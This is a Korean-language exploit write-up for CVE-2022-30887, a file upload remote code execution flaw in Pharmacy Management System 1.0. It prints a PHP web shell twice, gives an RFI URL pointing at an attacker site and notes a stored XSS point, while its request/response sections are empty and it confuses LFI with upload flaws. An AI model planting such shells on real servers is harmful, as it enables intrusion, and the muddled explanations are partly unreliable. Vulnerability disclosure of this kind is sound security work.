
CVE-2022-30887 개념 증명 익스플로잇: Pharmacy Management System 1.0의 무제한 파일 업로드를 통한 원격 코드 실행. 상세한 설명, PHP 셸 페이로드 및 대응 지침 포함.
이 애플리케이션은 Mayurik에 의해 개발되었습니다. PHP로 작성된 약국 관리 시스템 프로젝트는 보안 및 관리를 통해 약국의 정확성과 효율성을 향상시키기 위해 개발되었습니다. 간단히 말하면, 제품 재고 관리 애플리케이션입니다.
Pharmacy Management System v1.0에서 "/php_action/editProductImage.php" 컴포넌트를 통해 원격 코드 실행(RCE) 취약점이 발견되었습니다. 이 취약점은 공격자가 조작된 이미지 파일을 통해 임의 코드를 실행할 수 있도록 합니다.
파일 업로드 취약점은 일반적으로 스크립트가 실행될 수 있도록 하는 취약점입니다. 서버에 파일을 업로드하고 업로드된 파일에 명령을 입력할 때 발생합니다. 파일 업로드 취약점은 두 가지 유형으로 나뉩니다.
이 취약점은 서버의 로컬 파일이 사용자로부터 검색된 파일을 포함할 때 발생합니다. 사용자로부터 받은 값은 정화되어야 합니다.
LFI (로컬 파일 포함) 예시;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
이 취약점은 공격자가 원격 서버에서 악성 코드를 업로드할 때 발생합니다.
RFI (원격 파일 포함) 예시;
"www.victim_site.com/abc.php?test=http://www.attacker_site.com/attack_page"

php 셸 스크립트 예시;
<?php
if($_REQUEST['s'])
{
system($_REQUEST['s']);
}
else
phpinfo();?>
요청;

응답;

요청;

응답;


또한 이 취약점은 여전히 애플리케이션에서 활성화되어 있습니다.
동일한 페이지인 "editproduct.php"에서 저장형 XSS를 발견했습니다.
$sql = "UPDATE product SET product_name = '$productName'"
이 코드 블록에서는 큰따옴표(")를 사용하여 컨텍스트를 벗어날 수 있습니다.



이 글을 통해 파일 포함 취약점이 어떻게 작동하는지, 어떤 상황에서 이 취약점이 트리거되는지, 그리고 어떻게 공격자로부터 이 공격을 방지할 수 있는지 설명할 수 있기를 바랍니다. 소중한 시간을 내주셔서 감사합니다.